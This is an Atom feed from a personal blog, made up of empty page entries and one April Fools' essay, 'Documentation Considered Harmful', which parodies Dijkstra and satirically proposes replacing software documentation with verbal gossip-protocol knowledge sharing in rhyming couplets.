<feed xmlns="http://www.w3.org/2005/Atom" xmlns:hypergraph="https://hypergraph.network/xmlns">
	<title>Lounge Scene</title>
	<id>https://blog.thoward37.me/articles</id>
	<link rel="alternate" href="https://blog.thoward37.me/articles" type="text/html"></link>
	<link rel="self" href="https://blog.thoward37.me/articlesatom.xml" type="application/atom+xml"></link>
	<entry>
		<title>Lounge Scene</title>
		<id>https://blog.thoward37.me/page/2</id>
		<link rel="alternate" href="https://blog.thoward37.me/page/2" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/page/2" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/page/2" type="text/html"></link>
		<published>2026-02-26T10:00:00-08:00</published>
		<updated>2026-02-26T10:00:00-08:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">Thursday, February 26, 2026</summary>
		<content type="html"></content>
	</entry>
	<entry>
		<title>Lounge Scene</title>
		<id>https://blog.thoward37.me/</id>
		<link rel="alternate" href="https://blog.thoward37.me/" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/" type="text/html"></link>
		<published>2026-02-26T10:00:00-08:00</published>
		<updated>2026-02-26T10:00:00-08:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">Thursday, February 26, 2026</summary>
		<content type="html"></content>
	</entry>
	<entry>
		<title>Lounge Scene</title>
		<id>https://blog.thoward37.me/page/13</id>
		<link rel="alternate" href="https://blog.thoward37.me/page/13" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/page/13" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/page/13" type="text/html"></link>
		<published>2026-02-26T10:00:00-08:00</published>
		<updated>2026-02-26T10:00:00-08:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">Thursday, February 26, 2026</summary>
		<content type="html"></content>
	</entry>
	<entry>
		<title>Lounge Scene</title>
		<id>https://blog.thoward37.me/page/7</id>
		<link rel="alternate" href="https://blog.thoward37.me/page/7" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/page/7" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/page/7" type="text/html"></link>
		<published>2026-02-26T10:00:00-08:00</published>
		<updated>2026-02-26T10:00:00-08:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">Thursday, February 26, 2026</summary>
		<content type="html"></content>
	</entry>
	<entry>
		<title>Lounge Scene</title>
		<id>https://blog.thoward37.me/page/6</id>
		<link rel="alternate" href="https://blog.thoward37.me/page/6" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/page/6" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/page/6" type="text/html"></link>
		<published>2026-02-26T10:00:00-08:00</published>
		<updated>2026-02-26T10:00:00-08:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">Thursday, February 26, 2026</summary>
		<content type="html"></content>
	</entry>
	<entry>
		<title>Lounge Scene</title>
		<id>https://blog.thoward37.me/page/5</id>
		<link rel="alternate" href="https://blog.thoward37.me/page/5" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/page/5" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/page/5" type="text/html"></link>
		<published>2026-02-26T10:00:00-08:00</published>
		<updated>2026-02-26T10:00:00-08:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">Thursday, February 26, 2026</summary>
		<content type="html"></content>
	</entry>
	<entry>
		<title>Lounge Scene</title>
		<id>https://blog.thoward37.me/page/4</id>
		<link rel="alternate" href="https://blog.thoward37.me/page/4" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/page/4" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/page/4" type="text/html"></link>
		<published>2026-02-26T10:00:00-08:00</published>
		<updated>2026-02-26T10:00:00-08:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">Thursday, February 26, 2026</summary>
		<content type="html"></content>
	</entry>
	<entry>
		<title>Lounge Scene</title>
		<id>https://blog.thoward37.me/page/3</id>
		<link rel="alternate" href="https://blog.thoward37.me/page/3" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/page/3" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/page/3" type="text/html"></link>
		<published>2026-02-26T10:00:00-08:00</published>
		<updated>2026-02-26T10:00:00-08:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">Thursday, February 26, 2026</summary>
		<content type="html"></content>
	</entry>
	<entry>
		<title>Lounge Scene</title>
		<id>https://blog.thoward37.me/page/8</id>
		<link rel="alternate" href="https://blog.thoward37.me/page/8" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/page/8" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/page/8" type="text/html"></link>
		<published>2026-02-26T10:00:00-08:00</published>
		<updated>2026-02-26T10:00:00-08:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">Thursday, February 26, 2026</summary>
		<content type="html"></content>
	</entry>
	<entry>
		<title>Archive</title>
		<id>https://blog.thoward37.me/archive</id>
		<link rel="alternate" href="https://blog.thoward37.me/archive" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/archive" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/archive" type="text/html"></link>
		<published>2026-02-26T10:00:00-08:00</published>
		<updated>2026-02-26T10:00:00-08:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">Thursday, February 26, 2026</summary>
		<content type="html"></content>
	</entry>
	<entry>
		<title>Lounge Scene</title>
		<id>https://blog.thoward37.me/page/11</id>
		<link rel="alternate" href="https://blog.thoward37.me/page/11" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/page/11" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/page/11" type="text/html"></link>
		<published>2026-02-26T10:00:00-08:00</published>
		<updated>2026-02-26T10:00:00-08:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">Thursday, February 26, 2026</summary>
		<content type="html"></content>
	</entry>
	<entry>
		<title>Lounge Scene</title>
		<id>https://blog.thoward37.me/page/12</id>
		<link rel="alternate" href="https://blog.thoward37.me/page/12" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/page/12" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/page/12" type="text/html"></link>
		<published>2026-02-26T10:00:00-08:00</published>
		<updated>2026-02-26T10:00:00-08:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">Thursday, February 26, 2026</summary>
		<content type="html"></content>
	</entry>
	<entry>
		<title>Lounge Scene</title>
		<id>https://blog.thoward37.me/page/10</id>
		<link rel="alternate" href="https://blog.thoward37.me/page/10" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/page/10" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/page/10" type="text/html"></link>
		<published>2026-02-26T10:00:00-08:00</published>
		<updated>2026-02-26T10:00:00-08:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">Thursday, February 26, 2026</summary>
		<content type="html"></content>
	</entry>
	<entry>
		<title>Lounge Scene</title>
		<id>https://blog.thoward37.me/page/9</id>
		<link rel="alternate" href="https://blog.thoward37.me/page/9" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/page/9" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/page/9" type="text/html"></link>
		<published>2026-02-26T10:00:00-08:00</published>
		<updated>2026-02-26T10:00:00-08:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">Thursday, February 26, 2026</summary>
		<content type="html"></content>
	</entry>
	<entry>
		<title>Documentation Considered Harmful</title>
		<id>https://blog.thoward37.me/articles/documentation-considered-harmful</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/documentation-considered-harmful" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/documentation-considered-harmful" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/documentation-considered-harmful" type="text/html"></link>
		<published>2019-04-01T00:00:00+00:00</published>
		<updated>2019-04-01T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;&lt;strong&gt;Key Words and Phrases&lt;/strong&gt;: documentation, knowledge sharing, engineering culture, technical writing, user experience (UX), product culture&lt;/p&gt;&#xA;&lt;h1 id=&#34;background&#34;&gt;Background&lt;/h1&gt;&#xA;&lt;p&gt;For those of you familiar with my community and professional work—as a co-founder and organizer of the &lt;a href=&#34;http://writethedocs.org&#34;&gt;Write The Docs&lt;/a&gt; conference (2013-2015), as an outspoken advocate for documentation, and as the &lt;em&gt;Technical Lead (TL)&lt;/em&gt; of Twitter&#39;s internal TechDocs team (2014-current)—this publication may come as a surprise. It is precisely these professional experiences which have led me to the understanding that I have today: that &lt;strong&gt;documentation may in fact be more harmful than it is helpful&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;For a number of years I have been familiar with the observation that the quality of software product teams is a decreasing function of the density of documentation that accompanies the products they produce. More recently I discovered why the use of documentation has such disastrous effects, and I became convinced that documentation should be abolished from all &amp;quot;higher level&amp;quot; software development efforts (i.e. everything except, perhaps, plain machine code). At that time I did not attach too much importance to this discovery; I now submit my considerations to the public, because in very recent discussions in which the subject turned up, I have been urged to do so.&lt;/p&gt;&#xA;&lt;h1 id=&#34;what-problem-does-documentation-solve&#34;&gt;What Problem Does Documentation Solve?&lt;/h1&gt;&#xA;&lt;p&gt;My first remark is that, although the programmer&#39;s activity ends when they have constructed a correct program, the customer experience taking place under control of that program is the true subject matter of a programmer&#39;s activity, for it is this customer experience that has to accomplish the desired effect; it is this process that in its dynamic behavior, has to satisfy the desired specifications and deliver value to the customer of the product. Yet, once the program has been made, the &amp;quot;making&#39; of the corresponding process is delegated to the machine.&lt;/p&gt;&#xA;&lt;p&gt;Often the use of these products is made in isolation from the programmer. In fact, the customer is interacting with the machine, not with the programmer who created the product. The programmer attempts to capture all potentially relevant knowledge about the product in the form of documentation, which is then provided to the customer alongside the final product. The customer is then faced with the daunting task of interacting with an inscrutable machine process, which does not (and can not) explain itself, while digging through a veritable mountain of information provided by the programmer, attempting to locate the one small bit of information that will help them accomplish their goals, and ultimately derive value from the product.&lt;/p&gt;&#xA;&lt;h1 id=&#34;the-problem-of-docs&#34;&gt;The Problem Of Docs&lt;/h1&gt;&#xA;&lt;p&gt;This model is at best anachronistic and at worst has an effect that is an extreme opposite of its intentions. A customer may spend a good deal of time attempting to read documentation, failing to find answers, and interacting with the process via a trial-and-error methodology. A customer may spend vast amounts of time interacting with the product without ever succeeding in deriving value from it, which results in a net loss of value to the customer.&lt;/p&gt;&#xA;&lt;p&gt;This model is &lt;em&gt;anachronistic&lt;/em&gt; in that it is based on an old and now outmoded method of communicating knowledge: two dimensional written language. Hearkening back to the earliest days of human history, regardless of medium—the clay tablets, papyrus sheets, and tortoise shells of 3500 BCE, the printing press of 1440 CE, or the hypertext web of 1989 CE—all such information delivery systems suffer from a number of major flaws.&lt;/p&gt;&#xA;&lt;p&gt;The first and most notable flaw is in the &lt;em&gt;maintenance&lt;/em&gt; and updating of this knowledge. While we have come a long way since the era of clay tablets and hand-copied illuminated texts, even modern systems for publishing documentation rely on a point-in-time capture of knowledge in the written word, which is then published and read by the customers of the product. At some point, the knowledge may change, requiring our diligent programmers and technical writers to manually locate all outdated knowledge, remove it, and replace it with current information, then publish once more. This snapshotting process means that the information will always be, at minimum, slightly out of date, and sometimes, grossly inaccurate.&lt;/p&gt;&#xA;&lt;p&gt;It is also very easy for even the most well-meaning of documentation authors to &amp;quot;miss a spot&amp;quot;, leaving outdated information in the final published product, especially in a large corpus. It is also theoretically impossible to include every piece of information, and a constant process of prioritization, filtering, and compromise must be made leading to a subset of relevant knowledge being published, but leaving out details that may be important to certain customers in certain situations, leaving those customers without a resource to discover that knowledge.&lt;/p&gt;&#xA;&lt;p&gt;The issue of &lt;em&gt;discoverability&lt;/em&gt; within what is published is another concern. Modern technologies like search engines, especially those backed by artificial intelligence, attempt to help the customer locate knowledge by formulating their questions in natural language. This technology is impressive, but ultimately it is just a very sophisticated version of the printed index located in the back of most textbooks and other non-fiction technical publications. These systems improve the speed with with a customer may dig through a corpus of knowledge, but do little to change the fundamental paradigm of the knowledge acquisition task. The customer is still digging through a haystack, looking for a needle, which may or may not be there, but these days, uses a fancy metal detector.&lt;/p&gt;&#xA;&lt;p&gt;Rarely do we stop to question this somewhat insane activity. Our current system is &lt;strong&gt;inefficient for both authors and readers&lt;/strong&gt;, and has large &lt;strong&gt;functional gaps&lt;/strong&gt; against its intended effect. Further, it is a strong indicator of what should be two very bright red flags; poorly written code, and suboptimal user experience (UX).&lt;/p&gt;&#xA;&lt;p&gt;Excessive documentation is a side effect of &lt;strong&gt;poorly written code&lt;/strong&gt;. Modern programming languages are just that: languages. They are a form of communication, and when done properly, code represents a form of communication not between a human and a machine, but between two humans, who are working together with a machine to accomplish a task. A machine speaks in 0s and 1s, numbers, and a constantly flowing stream of electrons. Computers are unable to comprehend words. Words—in the form of a programming &amp;quot;language&amp;quot;—must be compiled (i.e., translated) into machine language for the computer to be part of the conversation.&lt;/p&gt;&#xA;&lt;p&gt;Our programming languages are designed to reduce ambiguity, to allow our natural form of human expression (words, phrases, sentences, which capture semantic concepts), to be made concrete into a set of numeric instructions that our machine may process, unconscious of both their intended effects or actual outcomes.  Programming languages are optimized to be readable and expressive for humans, so that we may collaboratively work within the mental model of our natural human languages, while still being able to produce this machine output as a side effect of our conversations.&lt;/p&gt;&#xA;&lt;p&gt;Since programming languages are designed for humans, there is no reason they should not be easily readable, easily comprehended, and should be sufficient information for anyone who would like to know how a system works. The process of writing documentation is a meta-information process in which we explain what we&#39;ve already explained, without the benefit of the concision and clarity that the formal language of code provides. In essence we are undergoing multiple stages of translation, from our initial mental model, into a programming language, into machine code, and then into English (or some other natural language).&lt;/p&gt;&#xA;&lt;p&gt;At every stage of translation there is some information loss, and some lack of precision that occurs. At the level of translating from our mental model to code, it is the compromises we make from our ideal product constrained by the limitations of the machine. At the level of programming languages to machine code, it is the bugs we introduce and other unintended behaviors (or lack of behaviors), and at the documentation level, it is the verbose, informal, and incomplete explication of the aforementioned processes.&lt;/p&gt;&#xA;&lt;p&gt;This complexity is hurting us, not helping us. &lt;strong&gt;Code should be simple and readable&lt;/strong&gt;. Programming languages should be made more sophisticated so that they are closer in nature to our natural human languages, or closer in nature to other forms of abstract writing like mathematical notation. If the code was clear, concise, and written in a more natural language model, there would be little to no need for additional translation into documentation.&lt;/p&gt;&#xA;&lt;p&gt;Excessive documentation is also a side effect of &lt;strong&gt;poorly design user experiences (UX)&lt;/strong&gt;. Machine systems should be obvious in their behavior with clear instrumentation, transparent mechanisms, and intuitive interactions. Products that require explanation to be used are poor products.&lt;/p&gt;&#xA;&lt;p&gt;Consider something as simple, yet useful, as a hammer. A &lt;a href=&#34;https://en.wikipedia.org/wiki/Hammer&#34;&gt;hammer&lt;/a&gt; is a tool that humans have been using in some form or another since time immemorial. A heavy mass is lifted, moved with speed, translating its stored potential energy into kinetic energy, and the resulting kinetic energy brought to bear upon a focal point, transferring that energy into the subject. Whether it&#39;s a rock raised high above one&#39;s head and brought down onto coconut, or a modern metal-headed hammer swung precisely to hit a nail, the hammer augments our abilities as humans, providing power and firmness, where we are naturally weak and soft.&lt;/p&gt;&#xA;&lt;p&gt;The hammer is well adapted to its environment—powered by gravity and the innate forces of our physical world of mass, potential, and kinetic energies, and controlled by a simple hand-grasp motion and arm swing, that even a 1 day old human baby is capable of—a hammer needs no instruction manual. The user experience has been refined through thousands of years of trial and error, and the product incrementally improved from lifting heavy rocks, to ideally proportioned swingables made by melting iron and curing hardwoods, augmented now by modern materials like nylon and other advanced polymers. Could our software products be more like hammers? Why aren&#39;t they? I propose that the more documentation which is required to explain a product, the worse that product&#39;s design is.&lt;/p&gt;&#xA;&lt;p&gt;Ultimately, &lt;strong&gt;the need for documentation can be eliminated&lt;/strong&gt; by improving both our programming languages (and our use of them), and by improving the design of the products we build.&lt;/p&gt;&#xA;&lt;p&gt;To make a complete analysis of this, I think it is pertinent to call out one final example of the many &lt;strong&gt;unnecessary layers of abstraction&lt;/strong&gt; that are part of most modern software documentation systems. We author our documentation in Markdown, which is translated to HTML, which is read and translated to thoughts by the end users. Translation after translation, with transmission loss at each stage.&lt;/p&gt;&#xA;&lt;p&gt;Couldn&#39;t we remove some of this inefficiency by authoring directly in HTML (another machine-readable language meant to be readable, now deemed too unreadable)? Or even better, could we not update our web browsers to &lt;strong&gt;read and display Markdown directly&lt;/strong&gt;, without the need for translation, JavaScript libraries, or other additional complexities?&lt;/p&gt;&#xA;&lt;p&gt;There are so many areas for improvement in this process, yet we continually build more layers on top, rather than improving the existing structures. This tendency is a strong anti-pattern and such efforts should be discouraged.&lt;/p&gt;&#xA;&lt;h1 id=&#34;a-better-way-distributed-direct-communication&#34;&gt;A Better Way: Distributed Direct Communication&lt;/h1&gt;&#xA;&lt;p&gt;Rather than simply levelling a critique against our current modality, I would like propose an alternative that I think has a lot of strong advantages: &lt;strong&gt;Distributed Direct Communication&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Direct Communication (DC)&lt;/em&gt; involves the transference of knowledge from one human to another without intermediaries, using natural language. A good example of this which is common in today&#39;s workplace is the practice of &amp;quot;shoulder taps&amp;quot;, wherein a coworker who needs information simply taps the shoulder of their knowledgeable peer, and asks their question directly. The worker receives their reply and can carry on with their work immediately, with the exact knowledge they requested. These interactions are quick, with a minimal invest paid by both the information seeker and the information provider. The worker is unblocked immediately and can return to using the tool, and deriving value from it.&lt;/p&gt;&#xA;&lt;p&gt;This method is also nothing new. Orally transmitted knowledge is our oldest system of information retention and knowledge sharing. It has its roots in the storytelling traditions of primitive man, and continues on in many forms today, via cultural activities such as &lt;a href=&#34;https://genius.com/&#34;&gt;musical lyrics&lt;/a&gt;, &lt;a href=&#34;https://www.ted.com/talks&#34;&gt;TED Talks&lt;/a&gt;, and instructor-led classroom teaching. Many product organizations understand this value and have &lt;strong&gt;customer support&lt;/strong&gt; teams dedicated to fielding questions posed via a dizzying array of communication mediums; Twitter, Slack, Email, Facebook comments, phone calls, and in-person customer-service desks. These all share one common attribute, which is the use of natural language to understand the need of the customer and provide a very specific ad-hoc response that directly serves the customer&#39;s need.&lt;/p&gt;&#xA;&lt;p&gt;These systems, however, are still quite basic. Customer support is nascent in its development. There is little effort made beyond the simple transactional process of question and answer, to ensure that the customer has not only the knowledge they seek, but additional knowledge that they might need in the future. Imagine a database that served only one field of information per transaction, vs returning an entire row, or set of rows. This would be a very inefficient system, and would put all the burden on the querying client to associate multiple pieces of information together, or to group and aggregate. &lt;strong&gt;Insights that can only be derived through higher-order analysis are left to the intuition and synthesis powers of the learner&lt;/strong&gt;, and there is no way to reliably ensure that these insights are ever produced, or are accurate.&lt;/p&gt;&#xA;&lt;p&gt;Lacking a complete graph of knowledge, the customer is also unable to assist other customers with any knowledge they haven&#39;t personally acquired. Consider the model of &lt;em&gt;Distributed Version Control Systems (DVCS)&lt;/em&gt; like &lt;a href=&#34;https://git-scm.com/&#34;&gt;git&lt;/a&gt;, or &lt;a href=&#34;https://www.mercurial-scm.org/&#34;&gt;Mercurial&lt;/a&gt;, wherein each copy of the repository contains a full history of all changes, or said another way, a full graph of all related knowledge. There becomes &lt;strong&gt;no functional difference between a clone and the original&lt;/strong&gt; source. A clone may serve as a source of truth as easily as the master repository does. This improves the overall system resiliency, and can also majorly change the network communication patterns, allowing for a highly distributed graph, with nodes that are both server and client, allowing any node to &amp;quot;shoulder-tap&amp;quot; its nearest neighbor to get a full understanding of the system (or any individual part of it).&lt;/p&gt;&#xA;&lt;p&gt;Similarly, other &lt;a href=&#34;https://en.wikipedia.org/wiki/Peer-to-peer&#34;&gt;&lt;em&gt;Peer-To-Peer (P2P)&lt;/em&gt;&lt;/a&gt; protocols and systems share knowledge through a web of interconnected nodes, with no specific node being any more of an authority than the others. A &lt;a href=&#34;https://en.wikipedia.org/wiki/Gossip_protocol&#34;&gt;&lt;em&gt;gossip protocol&lt;/em&gt;&lt;/a&gt; can be employed which publishes every new piece of information to each of its neighbors, and then its neighbors publish to their neighbors, until every node in the system has the same knowledge.&lt;/p&gt;&#xA;&lt;p&gt;Could we not do the same with our human knowledge, using our natural language as our transmission mechanism?&lt;/p&gt;&#xA;&lt;p&gt;Consider an office of ten (10) programmers. One individual authors a new program, and in their head, holds the entire set of knowledge about it: a complete picture even beyond the well-written code, including the original vision, and what compromises were made during implementation. This individual can then explain it to the programmers sitting to either side of them. Once they have learned the information the original programmer may return to work. Now three (3) people in the office have a complete understanding of the code. The other two may then tell two (2) more, and so on, until every programmer in the office has a full understanding of the product. Each one only spending the amount of time required to explain it once to a small set of listeners, then immediately returning to work.&lt;/p&gt;&#xA;&lt;p&gt;At this point, &lt;strong&gt;documentation is entirely unnecessary&lt;/strong&gt;. The information is fully transmitted to all coworkers, with minimal time investment, and is fully replicated to all employees, allowing the group to lose or gain members without losing information. New members can be filled in verbally, with any of the existing members of the staff acting as mentor, requiring minimal on-boarding investment, allowing the new member to come up to speed quickly. As changes to this information occur, the change can be expressed once by the originating programmer, and distributed by a gossip-protocol-like transfer between members. These small micro-updates are concise and focused and require only negligible cost. Any time knowledge is missing, or forgotten, a simple shoulder-tap to any of their peers can refresh this information.&lt;/p&gt;&#xA;&lt;p&gt;Compare how this process works with current documentation practices: The original programmer creates the product, and then must spend significant amounts of time re-expressing the product in an alternate written form, likely leaving out some details. The written documentation is published somewhere passively, possibly with an alert to the other staff that there is new content available to read. Other staff continues working, deferring the information acquisition process until it is needed, causing them to block on their work. They then spend a large amount of time attempting to find the answer to their specific problem, searching through a large knowledge set, losing context from their original problem. If they don&#39;t find it, they must resort to verbal knowledge transference.&lt;/p&gt;&#xA;&lt;p&gt;However this &amp;quot;shoulder tap&amp;quot; is not efficient, because it&#39;s not a &lt;em&gt;first-class&lt;/em&gt; feature of the knowledge sharing process. The original programmer is the only person that reliably has all the knowledge, so they become the recipient of all &amp;quot;shoulder taps&amp;quot; instead of distributing that load to the rest of the engineering staff. They may end up with a large portion of their day consumed by such interruptions. To mitigate that, they then further interrupt their primary work to update the documentation to include the missing, inaccurate, or poorly expressed information.&lt;/p&gt;&#xA;&lt;p&gt;The time spent writing and reading documentation, and the time high-value individuals are being interrupted because they are the &lt;a href=&#34;https://en.wikipedia.org/wiki/Single_source_of_truth&#34;&gt;&lt;em&gt;single-source-of-truth&lt;/em&gt;&lt;/a&gt; could have been spent improving the readability of the code, or the design of the user experience to obviate the need for additional knowledge transmission. Unfortunately, they are unable to ever make such improvements because of the constant process of documentation updates they must partake in. As the product continues to develop this problem gets worse and worse, ultimately either halting all forward progress, or leaving customers of the product without vital information, and thus unable to derive value.&lt;/p&gt;&#xA;&lt;h1 id=&#34;does-it-scale&#34;&gt;Does It Scale?&lt;/h1&gt;&#xA;&lt;p&gt;An initial reaction to the above proposal may be that this system could never scale to the level that popular software products with millions of customers would need. Documentation may seem to be the only reasonable way to transmit knowledge to the masses (or perhaps some other 1-to-many knowledge capture tools like in-person classes, or video recordings). While scaling up to will always be a challenge, I propose that a &lt;em&gt;Distributed Direct Communication (DDC)&lt;/em&gt; system has &lt;strong&gt;better scaling performance&lt;/strong&gt; than existing documentation-focused methodologies.&lt;/p&gt;&#xA;&lt;p&gt;With a DDC-based system, every engineer holds a complete replica of information. This can be transferred to a dedicated staff of customer support engineers, who can function like a cache in modern computing infrastructure. This dedicated knowledge cache can serve orders of magnitude of customers inquiries. Frequent requests from specific individual can be identified, and that person can be scheduled for a full knowledge transfer via an in-person class.&lt;/p&gt;&#xA;&lt;p&gt;Once knowledgeable, that customer can serve as a &lt;em&gt;community support&lt;/em&gt; resource for other customers (similar to the &lt;a href=&#34;https://mvp.microsoft.com/en-us/&#34;&gt;Microsoft MVP&lt;/a&gt; program). Those customers can form affinity groups and share knowledge with one another, allowing the information to propagate outside of the paid product team, reducing inbound requests over time. A nice feature of this system is that it becomes &lt;em&gt;more efficient&lt;/em&gt; over time.&lt;/p&gt;&#xA;&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;&#xA;&lt;p&gt;Documentation as it stands is just too primitive; it is too much an invitation to make a mess of one&#39;s product and one&#39;s code. One can regard and appreciate the described direct communication practices as bridling its use. I do not claim that the practices mentioned are exhaustive in the sense that they will satisfy all needs, but whatever practices are suggested (e.g. verbal gossip protocol) they should satisfy the requirement that the customer experience is always a net gain, and that technical information is maintained in a helpful and manageable way.&lt;/p&gt;&#xA;&lt;p&gt;Humans have been using the system of &lt;strong&gt;tribal verbal knowledge&lt;/strong&gt; for eons... why does it need to change? Rather, it needs to &lt;em&gt;evolve&lt;/em&gt; to take advantage of our modern communication systems, and advancements in understanding of distributed systems.&lt;/p&gt;&#xA;&lt;p&gt;Finally, there is one critical optimization of of verbal communication has been a feature of tribal knowledge sharing since its inception, which is the use of &lt;em&gt;rhythmic speech&lt;/em&gt; and singing to facilitate understanding and retention. Whether it&#39;s the chanted mantras of Buddhist &lt;a href=&#34;https://en.wikipedia.org/wiki/Dharma_transmission&#34;&gt;dharma transmission&lt;/a&gt;, or the singing and dancing that is part of the &lt;a href=&#34;https://en.wikipedia.org/wiki/Storytelling&#34;&gt;storytelling customs&lt;/a&gt; of ancient peoples in every culture, it has been proven that these techniques provide a massive improvement to the process of verbal knowledge transfer. For this reason, it is recommended that any real-life implementation of DDC consider using &lt;a href=&#34;https://en.wikipedia.org/wiki/Couplet&#34;&gt;&lt;em&gt;rhyming couplets&lt;/em&gt;&lt;/a&gt; as a basic underlying data structure.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;&lt;strong&gt;Key Words and Phrases&lt;/strong&gt;: documentation, knowledge sharing, engineering culture, technical writing, user experience (UX), product culture&lt;/p&gt;&#xA;&lt;h1 id=&#34;background&#34;&gt;Background&lt;/h1&gt;&#xA;&lt;p&gt;For those of you familiar with my community and professional work—as a co-founder and organizer of the &lt;a href=&#34;http://writethedocs.org&#34;&gt;Write The Docs&lt;/a&gt; conference (2013-2015), as an outspoken advocate for documentation, and as the &lt;em&gt;Technical Lead (TL)&lt;/em&gt; of Twitter&#39;s internal TechDocs team (2014-current)—this publication may come as a surprise. It is precisely these professional experiences which have led me to the understanding that I have today: that &lt;strong&gt;documentation may in fact be more harmful than it is helpful&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;For a number of years I have been familiar with the observation that the quality of software product teams is a decreasing function of the density of documentation that accompanies the products they produce. More recently I discovered why the use of documentation has such disastrous effects, and I became convinced that documentation should be abolished from all &amp;quot;higher level&amp;quot; software development efforts (i.e. everything except, perhaps, plain machine code). At that time I did not attach too much importance to this discovery; I now submit my considerations to the public, because in very recent discussions in which the subject turned up, I have been urged to do so.&lt;/p&gt;&#xA;&lt;h1 id=&#34;what-problem-does-documentation-solve&#34;&gt;What Problem Does Documentation Solve?&lt;/h1&gt;&#xA;&lt;p&gt;My first remark is that, although the programmer&#39;s activity ends when they have constructed a correct program, the customer experience taking place under control of that program is the true subject matter of a programmer&#39;s activity, for it is this customer experience that has to accomplish the desired effect; it is this process that in its dynamic behavior, has to satisfy the desired specifications and deliver value to the customer of the product. Yet, once the program has been made, the &amp;quot;making&#39; of the corresponding process is delegated to the 